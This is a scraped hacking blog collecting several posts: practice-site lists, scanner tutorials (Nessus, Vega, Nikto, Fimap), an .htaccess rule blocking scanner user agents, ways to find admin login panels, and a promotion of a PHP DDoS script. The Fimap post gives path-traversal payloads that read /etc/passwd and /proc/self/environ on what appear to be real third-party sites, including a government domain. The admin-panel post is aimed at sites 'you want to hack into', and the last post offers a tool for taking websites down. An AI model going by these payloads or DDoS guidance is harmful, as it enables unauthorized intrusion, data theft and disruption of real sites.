.:: Dark Site ::.: Vulnerability scanner

Online | Live Sites For Practice Web Application Hacking Skills

:Part1: 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTFcFaz6_UQ1YUhXR_QYwxHxwxbpU0WTY-33AsEjjGMdAwKrY74wKTXVSfdHJKQAUFpw7kCVbH672CnAKhXPz2UT6yP5zW3HfoMfnChR_GKEU1OvmnjfXTxlMWHXwYb5QBzEDyEtJD_qu0/s1600/hacker.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="online live site to practice hacking skills" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTFcFaz6_UQ1YUhXR_QYwxHxwxbpU0WTY-33AsEjjGMdAwKrY74wKTXVSfdHJKQAUFpw7kCVbH672CnAKhXPz2UT6yP5zW3HfoMfnChR_GKEU1OvmnjfXTxlMWHXwYb5QBzEDyEtJD_qu0/s1600/hacker.jpg" /></a></div>Here are the list of website that beginners always look for in order furnish their skills,many at various place i encounter where students/new excited security learner ask me "is there any site available to practice all this hacking skills legally?" . 
 
So here are list of online where you can test your practice its complete safe . next post i will share how you can mount own server on vmware and practice locally from own computer. 
 
These are few online and live vulnerable web applications available on the Internet to play with. 
 
Acunetix: 
<a href="http://testasp.vulnweb.com">http://testasp.vulnweb.com</a> (Forum - ASP) 
<a href="http://testaspnet.vulnweb.com">http://testaspnet.vulnweb.com</a> (Blog - .NET) 
<a href="http://testphp.vulnweb.com">http://testphp.vulnweb.com</a> (Art shopping - PHP) 
Cenzic CrackMeBank: <a href="http://crackme.cenzic.com">http://crackme.cenzic.com</a> 
Google Gruyere (Python): <a href="http://google-gruyere.appspot.com/start">http://google-gruyere.appspot.com/start</a> 
Hacking-Lab (eg. OWASP Top 10): <a href="https://www.hacking-lab.com/events/registerform.html?eventid=245">https://www.hacking-lab.com/events/registerform.html?eventid=245</a> 
Hack.me (beta): <a href="https://hack.me">https://hack.me</a> 
HackThisSite (HTS - Basic & Realistic (web) Missions): <a href="http://www.hackthissite.org">http://www.hackthissite.org</a> 
Hackxor online demo: <a href="http://hackxor.sourceforge.net/cgi-bin/login.pl">http://hackxor.sourceforge.net/cgi-bin/login.pl</a> (algo/smurf) 
HP/SpiDynamics Free Bank Online: <a href="http://zero.webappsecurity.com">http://zero.webappsecurity.com</a> (admin/admin) 
IBM/Watchfire AltoroMutual: <a href="http://demo.testfire.net">http://demo.testfire.net</a> (jsmith/Demo1234) 
NTOSpider Web Scanner Test Site: <a href="http://www.webscantest.com">http://www.webscantest.com</a> (testuser/testpass) 
OWASP Hackademic Challenges Project - Live (PHP - Joomla): <a href="http://hackademic1.teilar.gr">http://hackademic1.teilar.gr</a> 
Pentester Academy: <a href="http://pentesteracademylab.appspot.com">http://pentesteracademylab.appspot.com</a>(One of my fav) 
 
Enjoy all these different web vulnerable environments and sharp your web app pen-testing skills and tools practicing with them. 
On Next part i will post the list downloadable file which you can use for boost your hacking skills

Online | Live Sites For Practice Web Application Hacking Skills

: Part1 : Here are the list of website that beginners always look for in order furnish their skills,many at various place i encounter where...

How to Protect your website from web vulnerability Scanners

Hello here i come with a small trick but quite useful it can make your website safe from kiddie hackers :P. some time actually new born hackers do use various web scanners like Acunetix, nessus, Openvas & other scanner available at backtrack.so being a web sec guy how can you protect your website from such automated scanner the code is very simple all you need to do is Just add the below given codes to your .htaccess file . <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmz1A7mBmj7rW5bKf_y_p_VuRsvAZxqgEXTuWPfRPSmkE3KNus8cDAGaR7hc2ZherD6SN_BKZsfGmLUv8PBabw9t_DqsHWTxP4FG767HUtjamAbAv6EFNrPla2vtMHp_zLOW2n4KOtG4yA/s1600/hacker.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="protect from web vulnerability scanners" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmz1A7mBmj7rW5bKf_y_p_VuRsvAZxqgEXTuWPfRPSmkE3KNus8cDAGaR7hc2ZherD6SN_BKZsfGmLUv8PBabw9t_DqsHWTxP4FG767HUtjamAbAv6EFNrPla2vtMHp_zLOW2n4KOtG4yA/s620/hacker.png" /></a></div><blockquote>RewriteEngine On 
<�IfModule mod_rewrite.c> 
RewriteCond %{HTTP_USER_AGENT} ^w3af.sourceforge.net [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} dirbuster [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} nikto [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} SF [OR] 
RewriteCond %{HTTP_USER_AGENT} sqlmap [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} fimap [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} nessus [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} whatweb [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} Openvas [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} jbrofuzz [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} libwhisker [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} webshag [NC,OR] 
RewriteCond %{HTTP:Acunetix-Product} ^WVS 
RewriteRule ^.* http://127.0.0.1/ [R=301,L] 
<�/�IfModule> 
(Please Remove � On Original Code) 
</blockquote>after adding this content to .htaccess save it now.this is just a counter step taken to stay away from web scanners. hope you like this post do share ,comments ,like and thank you :) .

How to Protect your website from web vulnerability Scanners

Hello here i come with a small trick but quite useful it can make your website safe from kiddie hackers :P. some time actually new born hack...

installing Nessus Scanner For Network Vulnerability in Backtrack

uhh...hi everyone after a long days i have started posting tut so lets get started today we will be installing nessus scanner on backtrack and using it.<a href="http://www.darksite.co.in/2012/05/how-to-install-and-configure-best.html">Check my long old post :D </a> 
<h3>What is Nessus is For?</h3><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX3IS68Or44IhgjeaSeH9KDV4akvVyBTXQzpAuoi4sKl0cM5t7iU1SOBS6PnphfKVGfzSgK8wonGE9oxaLQ22-coIL87Hk15dlyokzLcWK0i9R3sev4NS7LMsMemohSOmzHthBrGreO7Ki/s1600/nessus.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX3IS68Or44IhgjeaSeH9KDV4akvVyBTXQzpAuoi4sKl0cM5t7iU1SOBS6PnphfKVGfzSgK8wonGE9oxaLQ22-coIL87Hk15dlyokzLcWK0i9R3sev4NS7LMsMemohSOmzHthBrGreO7Ki/s320/nessus.jpg" /></a></div>Nessus is a network vulnerability scanning program thats give you power to find you all the Vulnerability present on the network/host . It is free for personal use. Its can detect vulnerabilities on the systems. Nessus is the most popular vulnerability scanner in the computer security. Nessus allows scans for vulnerabilities, Misconfiguration, default passwords / common passwords / blank passwords on some system accounts, etc. You can use Nessus to scan your system and patch the vulnerability. If you want install Nessus on Backtrack 5 R3 first thing to do is download it from <a href="http://www.tenable.com/products/nessus/">http://www.tenable.com/products/nessus/</a> 
 
So we will discuss how we can install it online (if you are having internet connection) 
Nessus 4.4.1 now comes pre-installed on BackTrack 5 and requires that the user activate the installation. 
Here are the commands to install nessus : open terminal and type(if you don't know :P) 
 
apt-get install nessus 
 
After install it, create an account with adduser command like this 
 
/opt/nessus/sbin/nessus-adduser 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi096BdbvQ3tivzStOhO2i-NKqbUuGFAai-CU-88JyLpJh8W6ITIIcjIbeJ3I1Rr8CMn7ov-mPNM5QUn4xSaz8soNJvL27tfvLnjd_AYErs3c38gKLme8fXLtlYIeB7ibEayf0b6jXF_3SF/s1600/BT5-Adding-User.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi096BdbvQ3tivzStOhO2i-NKqbUuGFAai-CU-88JyLpJh8W6ITIIcjIbeJ3I1Rr8CMn7ov-mPNM5QUn4xSaz8soNJvL27tfvLnjd_AYErs3c38gKLme8fXLtlYIeB7ibEayf0b6jXF_3SF/s400/BT5-Adding-User.png" /></a></div>After you've entered a username, the nessus-adduser program asks you if the user account should have admin privileges or not. It is recommended that the initial user account have admin privileges so you can use the Nessus Web Interface to create subsequent accounts. The only difference between a Nessus admin user and a regular user is the ability to create user accounts. 
<h3>Registering Account For Nessus</h3> 
Once you have Nessus installed on BackTrack 5, you will need to obtain a Nessus activation code. If you wish to purchase a ProfessionalFeed, you can visit the <a href="https://store.tenable.com/">Tenable Store</a>. If you are using Nessus at home or wish to evaluate Nessus, you can <a href="http://www.tenable.com/products/nessus/nessus-homefeed">register a HomeFeed</a>. It’s important to note that the HomeFeed is limited to 16 IP addresses per scan (whereas the ProfessionalFeed allows you to scan an unlimited number of IP addresses). The ProfessionalFeed also gives you access to features such as Configuration and Sensitive Data Auditing, SCADA plugins, Nessus Technical Support and access to the Tenable Customer Portal. 
 
After registering they will send you activation code to your email. After you get the key, run this command, fill change xxxx-xxxx-xxxx-xxxx-xxxx with your key 
 
/opt/nessus/bin/nessus-fetch --register xxxx-xxxx-xxxx-xxxx-xxxx 
 
It will take some time because plugin is being updated. After the update complete, run your Nessus 
 
/etc/init.d/nessusd start 
 
Then open your browser and type this in the URL of the browser 
 
https://localhost:8834/ 
(You can also access the Nessus Web Interface remotely/outside by using the IP address assigned to BackTrack 5 (e.g. https://192.168.37.210:8834/).) 
 
Nessus will run on the secure channel https and on the port number 8834. 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaKnRnPSJ3-PSC_CjQMlJ9Rj7OIj503WC3gwmGfzTY_wVcOo2eKP8Z8JSG_VpK7dfKW3pi3IDsusTRVsHl3HMaPUuk8N976dkf-i-IjCUhE2Z3qIv4Mhs3wbmQNXH3pqJQ89SVYYJdZEIa/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaKnRnPSJ3-PSC_CjQMlJ9Rj7OIj503WC3gwmGfzTY_wVcOo2eKP8Z8JSG_VpK7dfKW3pi3IDsusTRVsHl3HMaPUuk8N976dkf-i-IjCUhE2Z3qIv4Mhs3wbmQNXH3pqJQ89SVYYJdZEIa/s320/2.png" /></a></div> 
Now try and use Nessus for your own risk :-D.. 
 
Next tutorial i will post how to scan a host and get a report using nessus scanner.if you need anyhelp on any tools do post as a comment i will definitely reply on you also i also encourage everyone to use Backtrack if you wann learn more on security things 
.

installing Nessus Scanner For Network Vulnerability in Backtrack

uhh...hi everyone after a long days i have started posting tut so lets get started today we will be installing nessus scanner on backtrack a...

Scanning For Web Vulnerability Using Vega Scanner On Backtrack | kali

hi everyone this is one more post on another web vulnerability scanner tool.so this time we will be discussing more about a tool known as Vega.this is very simple tool to use as well as detect some quality (High) vulnerability... 
 
About Vega : 
Vega is an open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. 
Vega includes an automated scanner for quick tests and an intercepting proxy for tactical inspection.Vega can be extended using a powerful API in the language of the web: Javascript. 
Vega was developed by Subgraph. 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrmWhadJGWeN4yhX6Tj1n0y_1A7QltEthu40Im0UxMd65Luh_t3-M01LU-zFN3po4LOq7X_-RumrpgHdp_7nh0ks0hzKH9gIBhj5dJxNpvI41W2ht9zp8j5sR-A0EvUt5nkw4SI6Uc8-th/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="vega scanner" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrmWhadJGWeN4yhX6Tj1n0y_1A7QltEthu40Im0UxMd65Luh_t3-M01LU-zFN3po4LOq7X_-RumrpgHdp_7nh0ks0hzKH9gIBhj5dJxNpvI41W2ht9zp8j5sR-A0EvUt5nkw4SI6Uc8-th/s700/1.png" width="560" /></a></div> 
Lets scan for a website for vulnerability as you can see you directly browse this tool on backtrack by following path. 
 
Bancktrack>vulnerability assessment >web application assessment >web vulnerability scanner>vega 
of course you can easily browse this by some command on terminal 
#cd /pentest/web/vega 
then ./Vega 
Now on the top select scan option since it open graphical user interface of this scanner. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip6vp-8TL3qRYmT0n4dw4TY4fcVpnp_byod3-v4VGCLChAf450fEdiLRGmhVd1Ma95ySqoRl1D8yYI-V4zplvIUFzELz7LROIlXRMTLyXGvLctMFXOjDqahXrsiPpWQO2CSBy8hyyVwtij/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="vega scanner" height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip6vp-8TL3qRYmT0n4dw4TY4fcVpnp_byod3-v4VGCLChAf450fEdiLRGmhVd1Ma95ySqoRl1D8yYI-V4zplvIUFzELz7LROIlXRMTLyXGvLctMFXOjDqahXrsiPpWQO2CSBy8hyyVwtij/s640/2.png" width="560" /></a></div> 
it will ask you for url to scan and below option which you can mark for a scan. 
 
next you can even set the login cookie if your site need any credentials for access. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidoqEKAgqyy8JZ5BWdv5RcNiYAk-xNBkXcHCd5FUeUxmXT289HwyRagT5zKEvaLwUs5LsVoC-T-qLLiubv1so0KV0DJpjuDdFajz-ElqOau-i5p7oldoRYibnUlfGu_LsHK2z-R58uGNhk/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="vega scanner" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidoqEKAgqyy8JZ5BWdv5RcNiYAk-xNBkXcHCd5FUeUxmXT289HwyRagT5zKEvaLwUs5LsVoC-T-qLLiubv1so0KV0DJpjuDdFajz-ElqOau-i5p7oldoRYibnUlfGu_LsHK2z-R58uGNhk/s600/3.png" width="560" /></a></div> 
next click on finish it will scan your website quickly.showing below the vulnerability count as well as url. 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnm_FiuqiG-DV-6Kq2StEz3kLFSPx8mk-HYsWXWWFDJAGaZBq3brfJ-v9NBoZXb_pxRwmLUXWPh0B3w0ZTPVb43ekgytbkOcSuUSzs_d4GHxD6Q82nNk3CaRWBBoHBYKS4Ew0fn3iSLVKy/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="vega scanner" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnm_FiuqiG-DV-6Kq2StEz3kLFSPx8mk-HYsWXWWFDJAGaZBq3brfJ-v9NBoZXb_pxRwmLUXWPh0B3w0ZTPVb43ekgytbkOcSuUSzs_d4GHxD6Q82nNk3CaRWBBoHBYKS4Ew0fn3iSLVKy/s600/4.png" width="560" /></a></div> 
Next you just need to re-verify /cross check those vuln url simply by following those url and exploitation. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitMjF9FIefJ_ZCQMWBSti6fcjdtgiemqxgqY29GrnzmavlkBH2hnO_niJLjfll46SftsjsBxDJ55oHoFsvr6HGUrK7cedEXs9x_cnyJJcrrETjR1qqYBIvCjLXaevyWAJalUH7oeqqaCj3/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="vega scanner" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitMjF9FIefJ_ZCQMWBSti6fcjdtgiemqxgqY29GrnzmavlkBH2hnO_niJLjfll46SftsjsBxDJ55oHoFsvr6HGUrK7cedEXs9x_cnyJJcrrETjR1qqYBIvCjLXaevyWAJalUH7oeqqaCj3/s600/5.png" width="560" /></a></div>you can also prepare reports easily for showing to your boss ;). 
have fun ...

Scanning For Web Vulnerability Using Vega Scanner On Backtrack | kali

hi everyone this is one more post on another web vulnerability scanner tool.so this time we will be discussing more about a tool known as Ve...

Best LFI | RFI Scanner in BackTrack Fimap-Exploitation Tool

Hi everyone this is a one more post on web scanner that is actually best on its Business For LFI (Local File Inclusion) And Remote File Inclusion .Though there are various tools available on backtrack but Fimap is one of the finest tool for detecting LFI and RFI on target website and exploiting it. 
 
About Fimap Tool 
 
It is a python tool which can find, prepare, audit, exploit and even google automaticly for local and remote file inclusion bugs in webapps. fimap is another tool which is best for getting LFI and RFI Out of a web app.it is still under development but works very fine. 
 
Features and Functions 
 
<li>Automatically find the root of the file system 
<li>Detect default files outside of the web folder 
<li>Attempts to detect passwords inside the files 
<li>Supports basic authentication 
<li>Can use null byte to bypass some controls 
<li>Writes a report of the scan to a file 
<li>Add your own payloads and patches to the config.py file. 
<li>Has a Harvest mode which can collect URLs from a given domain for later pentesting. 
<li>All commands will now be send base64 encoded. So you can use quotes as much as you want. 
<li>php://input detection is now 100% reliable. 
<li>You can now define a POST string for relative and absolute files in the config.py. 
<li>TTL implemented. You can define it with “—ttl “. Default is 30 seconds. 
<li>Experimental HTTP Proxy support. You can define a HTTP(s) proxy with “—http-proxy localhost:8080″. 
<li>Googlescanner can now skip the first X pages. Use “—skip-pages X”. 
<li>Lots of bugfixes and additional regular expressions. 
<li>Harvest mode which can collect URLs from a given domain for later pentesting. 
<li>Can handle directories in RFI mode like: 
<blockquote><*? include (*$*_GET["inc"] . "/content/index.html"); *?**> 
<***? include (*$*_GET["inc"] . "_lang/index.html"); *?**> 
(Remove * symbol) 
</blockquote>where Null-Byte is not possible. 
<li>You always define absolute path names in the configs. No monkey like redundant pathes like: 
../etc/passwd 
../../etc/passwd 
../../../etc/passwd 
<li> Has a Blind Mode (--enable-blind) for cases when the server has disabled error messages. BlindMode 
<li>Test and exploit multiple bugs: 
include() 
include_once() 
require() 
require_once() 
 
Working With Fimap 
 
Scan a single URL for FI errors 
 
#./fimap -u http://www.example.com/test.php?file=bang&id=23 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTvcm0Tuh8WRPu93-wqSHrOGFAd8qymRm3gdJR-Vx7EPCRcjAAS6pRH49SthsKsE41eXNNRHX2y_TDN4siRlETHbYwWbv9ODVRIz26RIV_XOTmjGix0cwhgSU555NrLHbYTsfbqb1tSLTU/s1600/scan.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="scanning for lfi/rfi" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTvcm0Tuh8WRPu93-wqSHrOGFAd8qymRm3gdJR-Vx7EPCRcjAAS6pRH49SthsKsE41eXNNRHX2y_TDN4siRlETHbYwWbv9ODVRIz26RIV_XOTmjGix0cwhgSU555NrLHbYTsfbqb1tSLTU/s600/scan.png" width="550" /></a></div> 
Scan Google search results for FI errors 
 
#./fimap.py -g -q inurl:index.php 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipt6b-is1s8_rk4qMWUbrzXIKmgOCbJMI3zgeiMWpOWqhXThlQA39JsYh3SSnqVr1aM6hUJOXwMjz44WbqJl48XCbpLnwS4XaFGJsD3C4bjE4BszLElRgJlf8j8G8tnuP_4gysmhtdK4sN/s1600/123.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="web scanner" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipt6b-is1s8_rk4qMWUbrzXIKmgOCbJMI3zgeiMWpOWqhXThlQA39JsYh3SSnqVr1aM6hUJOXwMjz44WbqJl48XCbpLnwS4XaFGJsD3C4bjE4BszLElRgJlf8j8G8tnuP_4gysmhtdK4sN/s620/123.png" width="550" /></a></div> 
Harvest all links of a webpage 
 
#./fimap.py –H -u http://example.com–d 3 –w /tmp/urllist 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfDpXzst5Prsb2dUlqILHkT2Ha-hYso_kh-_c9pMx5lWoaHogd1dNxQc_uBfIMnSDBqlkNMe7h5sssnFIX7qxIys05TScm3w5z5OubDOZOotTqHVzftq9klGolJ2b-FHD5RT3PP5q4EQlB/s1600/1233.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="best web scanner" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfDpXzst5Prsb2dUlqILHkT2Ha-hYso_kh-_c9pMx5lWoaHogd1dNxQc_uBfIMnSDBqlkNMe7h5sssnFIX7qxIys05TScm3w5z5OubDOZOotTqHVzftq9klGolJ2b-FHD5RT3PP5q4EQlB/s620/1233.png" width="550" /></a></div> 
<li>-m is for mass scanning 
<li>-l is for list 
<li>Scan websites using google dorks 
<li>.fimap.py -g -q ‘inurl:index.php’ 
<li>-g for searching from google 
<li>-q stands for the query which is to be searched in google. 
 
 
Requirements 
 
Needs: Python >= 2.4 
 
Download 
<a href="https://code.google.com/p/fimap/downloads/list">Click Here</a> 
 
Demo Site: 
Vuln Check1 :=http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../etc/passwd 
Vuln Check2 :=http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../proc/self/environ 
 
Exmp 2 := http://www.aladde.org/index.php?load=../../../../../../../../../../../../../../proc/self/environ 
 
Hope you like this tutorial don't forget to leave your valuable comment thank You :)

Best LFI | RFI Scanner in BackTrack Fimap-Exploitation Tool

Hi everyone this is a one more post on web scanner that is actually best on its Business For LFI (Local File Inclusion) And Remote File Incl...

Web Scanner Nikto Tutorial On Kali | Backtrack

Hi everyone as we all know there are numbers of web application scanner present on backtrack os so i will be covering most of the scanner in my upcoming post so today we are going to discuss about a small tool known as Nikto. 
<h2> 
Nikto</h2><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXQgKd98QyzEl5Oi2O14GfaiVkYiXHSsPdbi-10e2CFjGyL7UVgjgWT-N0MJq25o0RmpYWwgOCSS3LLrivT8OUJoApOoaB6i1hvZrZ0gsuBsWS8sd77KHE6lzUf6BVy3tmE8hTxiC0MO1C/s1600/1.png" imageanchor="1"><img height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXQgKd98QyzEl5Oi2O14GfaiVkYiXHSsPdbi-10e2CFjGyL7UVgjgWT-N0MJq25o0RmpYWwgOCSS3LLrivT8OUJoApOoaB6i1hvZrZ0gsuBsWS8sd77KHE6lzUf6BVy3tmE8hTxiC0MO1C/s800/1.png" width="550" /></a></div>Nikto is basically an open source web server scanner which performs comprehensive tests against web servers for multiple items,including over 6500 potentially dangerous files/CGIs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated. 
 
Nikto is not designed as an overly stealthy tool.its current version is "Nikto 2.1.5" 
 
Some of its key feature:- 
 
<li>Full HTTP proxy support 
<li>Apache user name enumeration 
<li>Logging to metasploit 
<li>Secure Socket Layer support (SSL) 
<li>Subdomain brute forcing (guessing) 
<li>Easy to update 
<li>Save report on multiple format 
 
 
How to use Nikto for scanning web app ? 
 
The usage of this tool is very simple,but before doing these scanning you just need to update it. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0D5EexEuEZ5T1YyPpjwyuQ2aA14cTl-5TKBAI6kA1NZ8o7y4AfZv_JDm6wQOCABfi9OQDS6bOCCWCfMu1GXaM0OQ-5u6ob89b_zx76qSff0jAwX2-qr-zqFw7Tue4YmLku0-DsgYQUazJ/s1600/2.png"><img height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0D5EexEuEZ5T1YyPpjwyuQ2aA14cTl-5TKBAI6kA1NZ8o7y4AfZv_JDm6wQOCABfi9OQDS6bOCCWCfMu1GXaM0OQ-5u6ob89b_zx76qSff0jAwX2-qr-zqFw7Tue4YmLku0-DsgYQUazJ/s700/2.png" width="550" /></a></div> 
Command in backtrack 
 
#./nikto.pl -update (on current directory cd/pentest/web/nikto) 
 
In kali it is. 
 
#nikto -update 
 
To run a basic scan you just need to type. 
 
#nikto -h [ip/target address] 
#./nokto -h [ip/host address](in backtrack) 
 
If you want to check different port than use 
 
#nikto -h [target host] -p [port number] 
 
If you want this test via proxy than you can use by this command 
 
#nikto.pl -h [target host] -useproxy http://localhost:8080/ 
 
For help and know more options available just use. 
 
#nikto -H 
 
i hope this tut will help you to use nikto scanner if any more doubt please do comment :). 
 
<a href="http://cirt.net/nikto2">Thank you for reading</a>.

Web Scanner Nikto Tutorial On Kali | Backtrack

Hi everyone as we all know there are numbers of web application scanner present on backtrack os so i will be covering most of the scanner in...

How To Find Admin Login Panel Of A Website | Online | Top 7 Ways

Hello Friends this is that post which you might be looking for today i am going to tell you how to find admin panel of a website that you want to hack into so are you interested to know so let me list down ways by which you can easily get the admin login panel. 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSU6PZX_hanpkR99cTJES24-TCMV3-emjrc__W_xjM9lAN45XtYSO4yTWr2qjhQI4ZzUJdLX0mF3ddq7-YtCEZ1XlCYiYKPUEyIobfUnrobfo9s-pi4-PfGIh6AkPRsB1YmjJERv3hXm_N/s1600/admin.jpg" imageanchor="1"><img alt="Admin Login Panel Finder" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSU6PZX_hanpkR99cTJES24-TCMV3-emjrc__W_xjM9lAN45XtYSO4yTWr2qjhQI4ZzUJdLX0mF3ddq7-YtCEZ1XlCYiYKPUEyIobfUnrobfo9s-pi4-PfGIh6AkPRsB1YmjJERv3hXm_N/s320/admin.jpg" width="550" /></a> 
in various case i find some new born hacker able to get the user id and password by sql injection but still they give up as they unable to find the admin login panel so if you are in search of admin login panel of a website then this post will help you for sure. 
 
Method 1:Adding URL 
This is the first and easiest method to find admin login page. You can add some words 
after the URL.Like 
 
<li>www.site.com/admin 
<li>www.site.com/administrator 
<li>www.site.com/login 
<li>www.site.com/wp-login.php 
<li>www.site.com/admin.php 
 
Method 2:<a href="http://www.darksite.co.in/2012/06/online-admin-page-finder-perl-python.html">Using Various Script</a> 
You can use various scripts like various admin finder to get the admin page.Here I am 
showing you an useful scripts which will help you to get the admin page.(I will release my own admin finder script soon and upadte here) 
To run this script you first need to install Active Perl.get it from 
<a href="http://www.activestate.com/activeperl/downloads">http://www.activestate.com/activeperl/downloads</a> 
 
Now copy the code of <a href="http://pastebin.com/WWZszURW">http://pastebin.com/WWZszURW</a> and save it as anything.pl and 
run the script to get the login page of the desired site.(Remember its a python Script). 
 
Method 3:Crawling software 
You can use various crawling tool to crawl the website and get the login page. These 
website crawl all the pages of the website and show the list of all pages and 
directories. 
Method 4:<a href="http://www.darksite.co.in/2012/04/how-to-find-admin-panel-of-any-web-site.html">Crawling</a> 
By default various search engines crawl the entire site and by using robots.txt the site 
owner actually gives the list of links that are not to be crawled by the engine. 
Now most 
of the time the admin ask the engine not to crawl the admin page so if you view the 
robots.txt you can get the link to the login page. 
www.site.com/robots.txt 
Method 5:<a href="http://www.darksite.co.in/search/label/Google%20Dorks">Google Dorks</a> 
Google dorks are some time very useful if you know to use it properly.so here are some example of useful Google dorks that will definitely help you in finding admin login panle of a website. 
 
<li>Site:site.com “admin” 
<li>Site:site.com inurl:login 
<li>site:site.com intitle:"admin login" 
 
Method 6:<a href="http://www.darksite.co.in/2012/04/free-download-best-hackers-professional.html">Using Online Admin Finder/Scanner</a> 
There are many such online admin finder available but i am giving you the link for one of my favorite one This 
site <a href="http://sc0rpion.ir/af/">http://sc0rpion.ir/af/</a> will help you in finding admin login page online. 
 
Method 7: <a href="http://www.darksite.co.in/2012/04/best-of-sql-injection-tool-havij-v115.html">Havij Tool</a> 
At last you can use the all time popular Havij to find admin page.Click on the HAvij Link to know more i have already written a nice post on it. 
<h2>COUNTERMEASURES BY ADMIN</h2>From this post it becomes very clear that if You (site owners) have not changed the 
default URL of your site’s login page then it can easily be compromised if an attacked 
gets the User name and password or even he can brute it.So it is advised that you 
should change the default URL of yours login page to something uncommon which is 
hard to guess like for example: 
www.site.com/glass.php 
www.site.com/myway.php 
 
Thank You For Reading Please share This article if you like and stay tuned for many such tutorial.

How To Find Admin Login Panel Of A Website | Online | Top 7 Ways

Hello Friends this is that post which you might be looking for today i am going to tell you how to find admin panel of a website that you wa...

Download Hulk Server DDOSer Script by Team Indishell [php]

Hey All I Have Some thing nice script for those who always in search of finding good tools for DDOS Attack. 
So Here is Hulk DDoser Script Which is In PHP. 
 
As Hulk DDoser are in Python format Hulk DDoser are mainly use for DDosing the Websites to take them down or to crash a website and many newbies in Python Language or who don't no Python Language are not able to use this script properly or many peoples who does not have good Internet connection or slow Internet connection are not able to use this DDos Script so this script is Made and Developed by One Of My Cool Friend Manish Tanwar from Team Indishell. You can use this Script by hosting this Script on any free hosting Websites. It is very easy to use this script.To use this Upload the script and all you have to do is just enter the URL of Targeted Website and click on "lets game begin 8-))" and ddos will start. 
 
